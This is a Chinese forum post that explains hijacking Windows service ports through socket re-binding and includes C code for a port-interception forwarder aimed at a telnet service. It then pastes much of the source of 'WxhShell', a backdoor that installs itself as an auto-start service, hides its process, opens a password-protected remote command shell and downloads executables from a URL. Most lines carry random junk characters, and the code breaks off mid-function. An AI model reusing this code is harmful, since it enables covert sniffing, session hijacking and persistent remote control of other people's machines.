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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AcF;5h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %j=,c{`Q  
gU}?Yy  
  saddr.sin_family = AF_INET; 9bT,=b;  
U)p P^:|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oB$D&  
rkl/5z??  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '4A8\&lQO  
cZ7b$MZ%9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EF{_-FXY  
-3r&O:  
  这意味着什么?意味着可以进行如下的攻击: !lF|90=  
.0q %A1H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [J+K4o8L<A  
"t"=9:_t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E}qeh"sJt  
8C=Y(vPk2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c"J(? 1O  
%;PPu$8K9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W3K"5E0ck  
^dP@QMly6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R#bg{|  
RS/%uxS?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Nu{RF  
+Z[%+x92  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0p$?-81BJ  
q#PGcCtu  
  #include ^dYLB.'=  
  #include MnsnW{VGX  
  #include f K^FD&sF  
  #include    ki^[~JS>'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N2tvP+Z6D  
  int main() i\rI j0+  
  { @Cm"lv.hz  
  WORD wVersionRequested; h{ce+~X  
  DWORD ret; H$ xSl1>E  
  WSADATA wsaData; {\ziy4<II  
  BOOL val; 4!6g[[| &J  
  SOCKADDR_IN saddr; wR/i+,K  
  SOCKADDR_IN scaddr; k< W]VS3N  
  int err; ld[]f*RuW  
  SOCKET s; gpr];lgS  
  SOCKET sc; Dl/UZ@8pl  
  int caddsize; p9_45u`u2  
  HANDLE mt; <z)MV oa  
  DWORD tid;   b)w3 G%Xx  
  wVersionRequested = MAKEWORD( 2, 2 ); Ze Shn  
  err = WSAStartup( wVersionRequested, &wsaData ); VV] {R'  
  if ( err != 0 ) { :yk Z7X&  
  printf("error!WSAStartup failed!\n"); i`8!Vm  
  return -1; kZGhE2np  
  } !1"~tA!+p=  
  saddr.sin_family = AF_INET; `U`Z9q5-  
   9LJ/m\bi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nhXa&Nro  
rmQGzQnun  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4b3p,$BWS  
  saddr.sin_port = htons(23); oRWsi/Zf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >cM U<'&  
  { S^D ~A8u  
  printf("error!socket failed!\n"); _W#27I  
  return -1; web&M!-  
  } bJB:]vs$  
  val = TRUE; =AcbX_[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KS(T%mk\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sQihyq6U;  
  { J;q3 fa  
  printf("error!setsockopt failed!\n"); ]P<&CEk  
  return -1; /e{Oqhf[n  
  } ( v ~/glf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z^GriL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #2HygS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aeBth{  
4VU5}"<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~Nc] `95  
  { "hlIGJ?_=  
  ret=GetLastError(); oHi&Z$#!n  
  printf("error!bind failed!\n"); bR&hI9`%F  
  return -1; c@nl;u)n  
  } X?7$JV-:  
  listen(s,2); U;V. +onv  
  while(1) 'pm2C6AC  
  { (vj2XiO^+  
  caddsize = sizeof(scaddr); 6o1.?t?  
  //接受连接请求 QdW%5lM+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bNaJ{Dm$R  
  if(sc!=INVALID_SOCKET) 4a2&kIn  
  { KP<J~+_ik  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @Qc['V)  
  if(mt==NULL) qo. 6T  
  { p-(Z[G*  
  printf("Thread Creat Failed!\n"); /{kyjf[o&*  
  break; *=|i"  
  }  B-&J]H  
  } Cq(Xa-  
  CloseHandle(mt); Y6D =tb  
  } ryn)  
  closesocket(s); =v;-{oN!  
  WSACleanup(); ZA9']u%EJ  
  return 0; W>DpDrO4ml  
  }   +j@|D@z  
  DWORD WINAPI ClientThread(LPVOID lpParam) U.^)|IHW  
  { h;ShNU  
  SOCKET ss = (SOCKET)lpParam; "!Qhk3*  
  SOCKET sc; H`Z4a N  
  unsigned char buf[4096]; )7i?8XiSZF  
  SOCKADDR_IN saddr; l5h9Eq  
  long num; s)M2Z3>+  
  DWORD val; R<U?)8g,h~  
  DWORD ret; 2bxT%xH:g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xwRnrWd^6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A|>C3S  
  saddr.sin_family = AF_INET; q90S>c,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NI^Y%N  
  saddr.sin_port = htons(23); lMm-K%(2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &% *S  
  { MW4dPoa  
  printf("error!socket failed!\n"); PZ ogN  
  return -1; 93!a  
  } X  ]a>  
  val = 100; 3x=F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _E30t( _.  
  { k]>k1Mi=  
  ret = GetLastError(); ;Q"F@v}18  
  return -1; (%P* rl  
  } Sm Ei _u]'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H_AV3 ;  
  { VG8rd'Z  
  ret = GetLastError(); O\D({>  
  return -1; |@@mq!>-  
  } ./fEx 'E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~F(+uJbO  
  { RV$+g.4  
  printf("error!socket connect failed!\n"); 5~44R@`  
  closesocket(sc); v =?V{"wk!  
  closesocket(ss); FI/YJ@21  
  return -1; zhCI+u4/qz  
  } )-QNWN H  
  while(1) @B'Mu:|f  
  { W8P**ze4)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R Nv<kw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HJ'93,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bNaUzM!,H  
  num = recv(ss,buf,4096,0); 6szkE{-/?  
  if(num>0) ?}]kIK}MC  
  send(sc,buf,num,0); a[$.B2U  
  else if(num==0) xBZ9|2Y s  
  break; apMYBbC  
  num = recv(sc,buf,4096,0); c0qv11,:t  
  if(num>0) kCwTv:)  
  send(ss,buf,num,0); EIYM0vls(  
  else if(num==0) U.)G #B  
  break; !}P FiT^  
  } GY",AL8f  
  closesocket(ss); kIfb!  
  closesocket(sc); >C-_Zv<!T\  
  return 0 ; c==Oio("  
  } *3ne(c  
L|2COX  
)>Q 2G/@  
========================================================== dq8 /^1P  
p;7 4 +q  
下边附上一个代码,,WXhSHELL kR6 t .  
PPqTmx5S  
========================================================== j^ _I{  
<?zTnue  
#include "stdafx.h" h/fCCfO,  
^i8I 1@ =  
#include <stdio.h> #w*pWD^  
#include <string.h> _ <;Q=?'*  
#include <windows.h> {.lF~cOu  
#include <winsock2.h>  ft'iv  
#include <winsvc.h> VA%"IAl  
#include <urlmon.h> Fkz  
K8U Az"  
#pragma comment (lib, "Ws2_32.lib") jzj{{D[^  
#pragma comment (lib, "urlmon.lib") Gtg)%`  
KyyG8;G%  
#define MAX_USER   100 // 最大客户端连接数 ,Mhe:^3  
#define BUF_SOCK   200 // sock buffer C^%zV>o  
#define KEY_BUFF   255 // 输入 buffer 9_Re,h  
p\{+l;`  
#define REBOOT     0   // 重启 X]yERaJ,i  
#define SHUTDOWN   1   // 关机 lz)"zV  
 [;=WnG  
#define DEF_PORT   5000 // 监听端口 Y1 P[^ws  
baNfS  
#define REG_LEN     16   // 注册表键长度 E~>6*_?  
#define SVC_LEN     80   // NT服务名长度 UTTC:=F+  
FqTkUWd,#  
// 从dll定义API jOb[h=B"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nP3GI:mjL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]hj1.V+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @:7gHRJ!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?&"^\p  
} x.)gW  
// wxhshell配置信息 5|R2cc|"9  
struct WSCFG { q`aY.dD=O  
  int ws_port;         // 监听端口 Xo@YTol  
  char ws_passstr[REG_LEN]; // 口令 nF'xV44"  
  int ws_autoins;       // 安装标记, 1=yes 0=no S(J\<)b  
  char ws_regname[REG_LEN]; // 注册表键名 )zXyV]xe  
  char ws_svcname[REG_LEN]; // 服务名 x}.d`=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CJ?gjV6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m"G N^V7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "k-ov9yK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q~J oGTv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z}1xy+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7I(t,AKJ  
-m160k3  
}; B"PHJj  
 y"\,%.  
// default Wxhshell configuration w"v'dU^  
struct WSCFG wscfg={DEF_PORT, -WUYE  
    "xuhuanlingzhe", ]VWfdG  
    1, u- [t~-(a  
    "Wxhshell", QWHy=(!  
    "Wxhshell", Q==v!"Gi|  
            "WxhShell Service", jAK{<7v4U  
    "Wrsky Windows CmdShell Service", eFSC^  
    "Please Input Your Password: ", AD@PNM  
  1, u 7"VeTz  
  "http://www.wrsky.com/wxhshell.exe", r%l%yCH  
  "Wxhshell.exe" mY`]33??v  
    }; cIr1"5POXK  
wz+5 8(  
// 消息定义模块 0sd-s~;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +V9B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sdf%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *kQCW#y0  
char *msg_ws_ext="\n\rExit."; ~B!O~nvdQ  
char *msg_ws_end="\n\rQuit."; DvX3/z#T  
char *msg_ws_boot="\n\rReboot..."; Iv(Qa6(  
char *msg_ws_poff="\n\rShutdown..."; )E:,V~< 8  
char *msg_ws_down="\n\rSave to "; Iz )hz9k  
fhV0S>*<  
char *msg_ws_err="\n\rErr!"; ^MT9n  
char *msg_ws_ok="\n\rOK!"; (kC} ,}  
tQ~<i %;  
char ExeFile[MAX_PATH]; ~g1, !Wl  
int nUser = 0; u5Ny=Xm  
HANDLE handles[MAX_USER]; 5w3ZUmjO  
int OsIsNt; `<J#l;y  
v (ka,Dk3  
SERVICE_STATUS       serviceStatus; `xUG|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3%R{"Q"  
y|.fR>5  
// 函数声明 rAx"~l.=  
int Install(void);  Wu!t C  
int Uninstall(void); ( f,J_  
int DownloadFile(char *sURL, SOCKET wsh); MdH97L)L.0  
int Boot(int flag); ]iDJ*!I  
void HideProc(void); h/Hl?O8[  
int GetOsVer(void); D;zWksq  
int Wxhshell(SOCKET wsl); XocsSs  
void TalkWithClient(void *cs); f>r3$WKj  
int CmdShell(SOCKET sock); rer|k<k;]G  
int StartFromService(void); %X9b=%'+  
int StartWxhshell(LPSTR lpCmdLine); \V^*44+ <!  
j`R<90~/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C.>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i<m$#6 <Z  
Ka]@[R6e  
// 数据结构和表定义 (a `FS,M  
SERVICE_TABLE_ENTRY DispatchTable[] = xP/OsaxN  
{ sz/*w7  
{wscfg.ws_svcname, NTServiceMain}, L}W1*L$;<  
{NULL, NULL} qWO]s=V!  
}; wn+j39y?ZY  
's[BK/  
// 自我安装 vUYJf99B  
int Install(void) s=N#CE  
{ #, Q}NO#vT  
  char svExeFile[MAX_PATH]; /2e%s:")h  
  HKEY key; X0WNpt&h  
  strcpy(svExeFile,ExeFile); 2QGMe}  
*KK[(o}^J-  
// 如果是win9x系统,修改注册表设为自启动 wmo{YS3t|  
if(!OsIsNt) { yGvDn' m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W|dpFh`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qO-C%p [5  
  RegCloseKey(key); 94|yvh.B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r219M)D?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZBX  
  RegCloseKey(key); '@TI48 J+  
  return 0; >5;N64]!)  
    } Y{Da+  
  } sEce{"VC  
} z2w;oM$g  
else { 4\N_ G @  
J/'M N  
// 如果是NT以上系统,安装为系统服务 #JA}LA"l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5"JU?e59M  
if (schSCManager!=0) 2{ o0@  
{ [ -ISR7D  
  SC_HANDLE schService = CreateService LJGJ|P  
  ( r C_d$Jv  
  schSCManager, X9fNGM1  
  wscfg.ws_svcname, ,+tPRkwA^  
  wscfg.ws_svcdisp, 3J%V%}mD  
  SERVICE_ALL_ACCESS, u#`+[AC`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ImIqD&a-h  
  SERVICE_AUTO_START, 1^C|k(t  
  SERVICE_ERROR_NORMAL, {-@~Q.&}v  
  svExeFile, NZLXN  
  NULL, [pii  
  NULL, 2sKG(^=Z  
  NULL, lhqQ CV  
  NULL, nr OqH  
  NULL k(P3LJcYQ  
  ); _(C^[:s  
  if (schService!=0) QDS0ejhp  
  { vsKl#R B  
  CloseServiceHandle(schService); vwKw?Z0%J  
  CloseServiceHandle(schSCManager); [O2h- `  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?g2zmI!U  
  strcat(svExeFile,wscfg.ws_svcname); {odA[H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &hayR_F9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cd!|Ne>fe  
  RegCloseKey(key); .nEs:yn  
  return 0; kMy<G8 s  
    } 2H[ ; v+  
  } 0p-#f|ET  
  CloseServiceHandle(schSCManager); FV A UR  
} x;u~NKy  
} flG=9~qcGQ  
{FWyu5.  
return 1; t5paY w-b  
} R"*R99  
2"@Ft()]  
// 自我卸载 K;x~&G0=  
int Uninstall(void) lop uf/U0  
{ B{p4G`$i1  
  HKEY key; Fn!SGX~kx$  
ibJl;sJ  
if(!OsIsNt) { %e{(twp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f =o4I2Y[  
  RegDeleteValue(key,wscfg.ws_regname); <Nex8fiJ9  
  RegCloseKey(key); nq' M?c#E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R:A'&;S  
  RegDeleteValue(key,wscfg.ws_regname); I}+;ME|<2  
  RegCloseKey(key); $jG4pPG  
  return 0; :#{-RU@PS  
  } (/K5!qh  
} hK(tPl$  
} vU!8`x)  
else { :.$"kXm^  
_gW{gLYyJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )lh8 k {  
if (schSCManager!=0) tMFsA`ng  
{ h4(JUio  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DLi?'K3t  
  if (schService!=0) XJSa]P^B1  
  { EMlIxpCn:  
  if(DeleteService(schService)!=0) { "jR]MZ  
  CloseServiceHandle(schService); >,"sHm}l%  
  CloseServiceHandle(schSCManager); ,=|4:F9  
  return 0; Vl<9=f7[  
  } ne4c %?>t  
  CloseServiceHandle(schService);  H4:ZTl_$  
  } < Dd%  
  CloseServiceHandle(schSCManager); W"Q!|#;l.  
} E-fr}R}  
} ',ZF5T5z@  
2n|CD|V$ux  
return 1; DyfsTx  
} Mra35  
QU T"z'  
// 从指定url下载文件 O*G1 QX  
int DownloadFile(char *sURL, SOCKET wsh) l~J*' m2  
{ IU#x[P!  
  HRESULT hr; ?TpUf  
char seps[]= "/"; & [_ZXVva~  
char *token; P~RhUKfd  
char *file; -7%X]  
char myURL[MAX_PATH]; ^ve14mbF#.  
char myFILE[MAX_PATH]; %d;<2b0  
tnb$sulc+  
strcpy(myURL,sURL); VFj(M j`}G  
  token=strtok(myURL,seps); /0lC KU!=  
  while(token!=NULL) S~)w\(r  
  { x<ax9{  
    file=token; M2@;RZ(|  
  token=strtok(NULL,seps); *C6D3y  
  } :#u}.G  
dz%EM8  
GetCurrentDirectory(MAX_PATH,myFILE); oNM?y:O  
strcat(myFILE, "\\"); }`o? /!X   
strcat(myFILE, file); nt ,7u(  
  send(wsh,myFILE,strlen(myFILE),0); *1^$.Q&  
send(wsh,"...",3,0); -M4p\6)Ge  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ``|AgIg  
  if(hr==S_OK) 6/tI8H3E  
return 0; SfB8!V|;  
else m"d/b~q  
return 1; i ]o"_=C  
W7=V{}b+  
} 2Y OKM #N]  
s_ bR]G  
// 系统电源模块 dqc1 q:k?$  
int Boot(int flag) gR Nv-^  
{ 8SC%O\,  
  HANDLE hToken; "aq'R(/`c  
  TOKEN_PRIVILEGES tkp; p&N#_dmlH  
oyx^a9  
  if(OsIsNt) { E m{aM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XOy2lJ/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w%a8XnW]1  
    tkp.PrivilegeCount = 1; GABQUmtH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PJLR<9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]@ M5_%p  
if(flag==REBOOT) { Yr+23Ro  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7G9 3,dJ  
  return 0; j9R6ta3\l  
} `tEo]p  
else { |< qs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H(-4:BD?  
  return 0; UMMB0(0D  
} `bG7"o`  
  } @ -:]P8  
  else { E D"!n-Hq  
if(flag==REBOOT) { "Fnq>iR-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iwF9[wAft  
  return 0; iL]'y\?lv  
} 6'C2SihYp  
else { Y[ zZw~yx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r&3pM2Da}  
  return 0; r"{<%e  
} pyZ9OA!PD  
} o[\HOe~;  
p9qKLJ*.C  
return 1; $m| V :/  
} d 8o53a]  
-db75=  
// win9x进程隐藏模块 \3XqHf3|o  
void HideProc(void) > m q,}!n  
{ x/fX`y|(}*  
jd-glE,Y/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K^[#]+nQ  
  if ( hKernel != NULL ) {+.r5py  
  { |L6&Gf]#5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DcD{*t?x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1Sz A3c  
    FreeLibrary(hKernel); :t("L-GPW  
  } c64v,Hj9  
,'fxIO  
return; 3=0E!e  
} K^l:MxO-X  
Ms^dRe)  
// 获取操作系统版本 mpw~hW0-  
int GetOsVer(void) 39i9wrP  
{ ^jE8+h  
  OSVERSIONINFO winfo; W"q@Qa`Bm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^K(^I*q  
  GetVersionEx(&winfo); 4Xj4|Rw%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GW^,g@%C  
  return 1; Orn0Zpp<z  
  else )c2_b  
  return 0; 1bnBji  
} J^#:qk  
]< l6s  
// 客户端句柄模块 Me5{_n  
int Wxhshell(SOCKET wsl) :[l\@>H1tX  
{ z+{,WHjo  
  SOCKET wsh; / |r'  
  struct sockaddr_in client; .="bzgC3A  
  DWORD myID; 9!',b>C6  
b*kfWG-6t  
  while(nUser<MAX_USER) #-VMg+14  
{ hfWFD,  
  int nSize=sizeof(client); NpP')m!`}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <UP m=Hb  
  if(wsh==INVALID_SOCKET) return 1; 7, } $u  
8IQtz2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A7_4 .VH  
if(handles[nUser]==0) ZP\M9Ja  
  closesocket(wsh); bm~W EX  
else C4$:mJ>y  
  nUser++; {Ro2ouQ!V  
  } 1T&Rc4$Sn7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jKIxdY:U  
d*8 $>GA  
  return 0; @$^bMIj@W  
} e}Vw!w  
B!]2Se2G  
// 关闭 socket /6uT6G+(z}  
void CloseIt(SOCKET wsh) LkruL_E>  
{ &)wiKh"$  
closesocket(wsh); I=)hWC/  
nUser--; 3g'S\ G@  
ExitThread(0); %8~Q!=*Iq  
} x&sI=5l  
u7%D6W~m0  
// 客户端请求句柄 IY'=DePd  
void TalkWithClient(void *cs) `>Tu|3%\  
{ hg.#DxRi{  
CvSIV7zYo  
  SOCKET wsh=(SOCKET)cs; ?Ea;J0V  
  char pwd[SVC_LEN]; jl.p'$Fbn  
  char cmd[KEY_BUFF]; ^FmU_Q0  
char chr[1]; >eQr<-8  
int i,j; ^ |~ml Y@w  
Y_&g="`Q  
  while (nUser < MAX_USER) { !l?.5Pm])  
"xI"  
if(wscfg.ws_passstr) { aimarU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qU2~fNY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E907fX[R~  
  //ZeroMemory(pwd,KEY_BUFF); Ix@&$!'k  
      i=0; e1(Q(3  
  while(i<SVC_LEN) { f ),TO  
Ei}/iBG@  
  // 设置超时 :K`ESq!8u  
  fd_set FdRead; RoA?p;]<  
  struct timeval TimeOut; W :,4:|3  
  FD_ZERO(&FdRead); 9O` m,t  
  FD_SET(wsh,&FdRead); `pf4X/Py  
  TimeOut.tv_sec=8; 6oaazB^L  
  TimeOut.tv_usec=0; h!~3Dw>,N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o+`6LKg;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l& 4,v  
<U5wB]]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uzmk6G v  
  pwd=chr[0]; [yl sz?  
  if(chr[0]==0xd || chr[0]==0xa) { nkxzk$  
  pwd=0; Hgeg@RP Q  
  break; ORGD  
  } >z;[2 n'  
  i++; AqK z$  
    } fx=Awba  
P./V6i<:  
  // 如果是非法用户,关闭 socket rk+#GO{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +;$oJJ  
} ](tx<3h  
{2/LRPT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <DKS+R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m }a|FS  
Y$N)^=7  
while(1) { ^4r73ak/):  
#_lt~^ 6  
  ZeroMemory(cmd,KEY_BUFF); C{sLz9  
 S( S#  
      // 自动支持客户端 telnet标准   /MY9 >  
  j=0; z,qRcO&  
  while(j<KEY_BUFF) { ~<<nz9}o_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /,!qFt  
  cmd[j]=chr[0]; pi=-#g(2  
  if(chr[0]==0xa || chr[0]==0xd) { s2?T5oWU  
  cmd[j]=0;  Q~R ~xz  
  break; Q9I j\HbA"  
  } WLF0US'  
  j++; 8^Hn"v  
    } V fv@7@q  
56^ +;^f^`  
  // 下载文件 JdIlWJY  
  if(strstr(cmd,"http://")) { CTWn2tpW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P\8@g U!uk  
  if(DownloadFile(cmd,wsh)) A7(hw~+@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V .os  
  else ^w]/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vN 2u34  
  } wi9DhVvc 0  
  else { KIR'$ 6pn~  
??n*2s@t  
    switch(cmd[0]) { /R>nr"  
  | 8qBm  
  // 帮助 UzXE_ S  
  case '?': { e]jH+IR:>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4iW'kuK  
    break; D:Q 21Ch  
  } IbcZ@'RSw  
  // 安装 >^Se'SE]  
  case 'i': { Hm+ODv9  
    if(Install()) D")_;NLE1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lh.`C7]  
    else hp{OL<2M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Rx9w!pAN  
    break; Vi4~`;|&b+  
    } SP|<Tny  
  // 卸载 hFiIW77 s2  
  case 'r': { piU /&  
    if(Uninstall()) c/_ +o;Bc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M$0u1~K  
    else -s6![eV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aR\\<due  
    break; LH:i| I  
    }  ]xguBh]  
  // 显示 wxhshell 所在路径 rDm'Z>nTf  
  case 'p': { jy]JiQ B  
    char svExeFile[MAX_PATH]; `DT3x{}_S  
    strcpy(svExeFile,"\n\r"); 8k(P,o  
      strcat(svExeFile,ExeFile); upeU52@\  
        send(wsh,svExeFile,strlen(svExeFile),0); C7H/N<VAq  
    break; DJP2IP  
    } -hkQ2[Ew#  
  // 重启 [:^-m8QC  
  case 'b': { K |DWu8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 88c<:fK  
    if(Boot(REBOOT)) $lhC{&tBV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7LO%#No",  
    else { C/(M"j M  
    closesocket(wsh); z>w`ZD}XY  
    ExitThread(0); N)&4Hy  
    } >DPB!XA3  
    break; l2;CQ7  
    } gKOOHUCb  
  // 关机 ,;M4jc {  
  case 'd': { nenU)*o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~EK'&Y"1  
